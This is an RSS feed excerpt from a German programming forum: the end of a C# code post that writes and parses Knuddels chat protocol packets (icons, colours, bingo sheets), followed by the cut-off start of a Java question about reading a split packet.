#DD0000">":\0"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">confirmPacket</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;als&nbsp;Test&nbsp;lassen&nbsp;wir&nbsp;unser&nbsp;erzeugtes&nbsp;Paket&nbsp;parsen,&nbsp;beim&nbsp;Übergeben&nbsp;(Parsen)&nbsp;MUSS&nbsp;:\0&nbsp;vorangestellt&nbsp;werden!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Protocolhash:&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">PARSED</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">long</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"PROTOCOL_HASH"</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"---------------------------------------------\n"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;End&nbsp;of&nbsp;Example&nbsp;2<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Example&nbsp;3<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;prefixIcons&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">CreateModule</span><span style="color: #007700">(</span><span style="color: #DD0000">"SHOW_PREFIXICONS"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">prefixIcons</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"CHANNEL_NAME"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"/K-Script"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;iconJames&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">CreateModule</span><span style="color: #007700">(</span><span style="color: #DD0000">"ICON"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">iconJames</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"NICK"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"James"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">iconJames</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"IMAGE"</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">()&nbsp;{&nbsp;</span><span style="color: #DD0000">"sm_00.gif"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"gaylord.gif"&nbsp;</span><span style="color: #007700">});<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;iconHolgi&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">CreateModule</span><span style="color: #007700">(</span><span style="color: #DD0000">"ICON"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">iconHolgi</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"NICK"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Holgi"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">iconHolgi</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"IMAGE"</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">()&nbsp;{&nbsp;</span><span style="color: #DD0000">"homo.jpg"&nbsp;</span><span style="color: #007700">});<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">prefixIcons</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"ICON"</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">()&nbsp;{&nbsp;</span><span style="color: #0000BB">iconJames</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">iconHolgi&nbsp;</span><span style="color: #007700">});<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">prefixIcons</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"SORT_ICON_NICKNAMES_TO_TOP"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;parsedPrefixIcons&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #DD0000">":\0"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Encoding</span><span style="color: #007700">.Default.</span><span style="color: #0000BB">GetString</span><span style="color: #007700">(</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteBytes</span><span style="color: #007700">(</span><span style="color: #0000BB">prefixIcons</span><span style="color: #007700">)));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Das&nbsp;Paket&nbsp;mal&nbsp;anzeigen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Erzeugt:\n:\\0"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Encoding</span><span style="color: #007700">.Default.</span><span style="color: #0000BB">GetString</span><span style="color: #007700">(</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteBytes</span><span style="color: #007700">(</span><span style="color: #0000BB">prefixIcons</span><span style="color: #007700">)).</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"\0"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"\\0"</span><span style="color: #007700">).</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"\\n"</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Name:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">parsedPrefixIcons</span><span style="color: #007700">.</span><span style="color: #0000BB">Name</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"ID:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">parsedPrefixIcons</span><span style="color: #007700">.</span><span style="color: #0000BB">ID</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Channel:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">parsedPrefixIcons</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"CHANNEL_NAME"</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ArrayList&nbsp;icons&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parsedPrefixIcons</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"ICON"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">icons</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;temp&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">Module</span><span style="color: #007700">)</span><span style="color: #0000BB">icons</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #0000BB">temp</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"NICK"</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #DD0000">":&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Join</span><span style="color: #007700">(</span><span style="color: #DD0000">",&nbsp;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">temp</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"IMAGE"</span><span style="color: #007700">).</span><span style="color: #0000BB">ToArray</span><span style="color: #007700">()));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"SORT_ICON_NICKNAMES_TO_TOP:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">parsedPrefixIcons</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">bool</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"SORT_ICON_NICKNAMES_TO_TOP"</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"---------------------------------------------\n"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;End&nbsp;of&nbsp;Example&nbsp;3<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;------------------------------------------------------------------------------------------------&nbsp;//<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;End&nbsp;of&nbsp;writing&nbsp;*/<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;------------------------------------------------------------------------------------------------&nbsp;//<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*&nbsp;Parsing&nbsp;*/<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;------------------------------------------------------------------------------------------------&nbsp;//<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;parsed&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Name:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">parsed</span><span style="color: #007700">.</span><span style="color: #0000BB">Name</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"ID:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">parsed</span><span style="color: #007700">.</span><span style="color: #0000BB">ID</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Channel:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">parsed</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"CHANNEL_NAME"</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;color&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parsed</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">Module</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"VOTEBOX_BOX_SETTING"</span><span style="color: #007700">).</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">Module</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"TOP_BOX_BACKGROUND_COLOR"</span><span style="color: #007700">).</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">Module</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"COLOR"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"RED:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">color</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"RED"</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"BLUE:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">color</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"BLUE"</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"GREEN:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">color</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"GREEN"</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Hashtable&nbsp;values&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parsed</span><span style="color: #007700">.</span><span style="color: #0000BB">Values</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">String&nbsp;key&nbsp;in&nbsp;values</span><span style="color: #007700">.</span><span style="color: #0000BB">Keys</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #0000BB">key&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"&nbsp;-&gt;&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">values</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">key</span><span style="color: #007700">&#93;);&nbsp;</span><span style="color: #FF8000">//&nbsp;Alles&nbsp;mal&nbsp;anzeigen<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"---------------------------------------------\n"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;------------------------------------------------------------------------------------------------&nbsp;//<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;bingo&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">bingoPacket</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Name:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">bingo</span><span style="color: #007700">.</span><span style="color: #0000BB">Name</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"ID:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">bingo</span><span style="color: #007700">.</span><span style="color: #0000BB">ID</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Channel:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">bingo</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"CHANNEL_NAME"</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"BingoBlatt-ID:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">bingo</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">Module</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"BINGO_SHEET"</span><span style="color: #007700">).</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">long</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"BINGO_SHEET_ID"</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Bingo&nbsp;Nums:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Join</span><span style="color: #007700">(</span><span style="color: #DD0000">",&nbsp;"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">bingo</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">Module</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"BINGO_SHEET"</span><span style="color: #007700">).</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">ArrayList</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"BINGO_FIELD"</span><span style="color: #007700">).</span><span style="color: #0000BB">ToArray</span><span style="color: #007700">()));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;weiter&nbsp;auswerten&nbsp;bla&nbsp;bla&nbsp;bla<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Wie die ganzen Pakete genau aufgebaut sind, seht ihr hier:<br />
<a href="http://k-script.cc/doc/kdata/index.html" target="_blank" rel="nofollow">KnuddelsData 90ala</a> (thx to KoRn)<br />
<br />
Macht damit was ihr wollt, müsst mich auch nicht erwähnen.<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Brainy</dc:creator>
			<guid isPermaLink="true">sourcecode-91/token-module-parsen-schreiben-32102</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Problem mit If-Abfrage]]></title>
			<link>sourcecode-91/java-problem-mit-if-abfrage-13898?goto=newpost</link>
			<pubDate>Thu, 21 Jun 2012 13:49:55 GMT</pubDate>
			<description>Moin, 
 
Habe ein Problem, ich kann mir das ganze überhaupt nicht erklären. 
Ich möchte das r Packet, welches ich bereits in Teile gesplittet habe,...</description>
			<content:encoded><![CDATA[<div>Moin,<br />
<br />
Habe ein Problem, ich kann mir das ganze überhaupt nicht erklären.<br />
Ich möchte das r Packet, welches ich bereits in Teile gesplittet habe, auslesen und ggf. wieder was ausgeben.<br />
<br />
Hier mal ein Beispiel bzw. mein Code:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
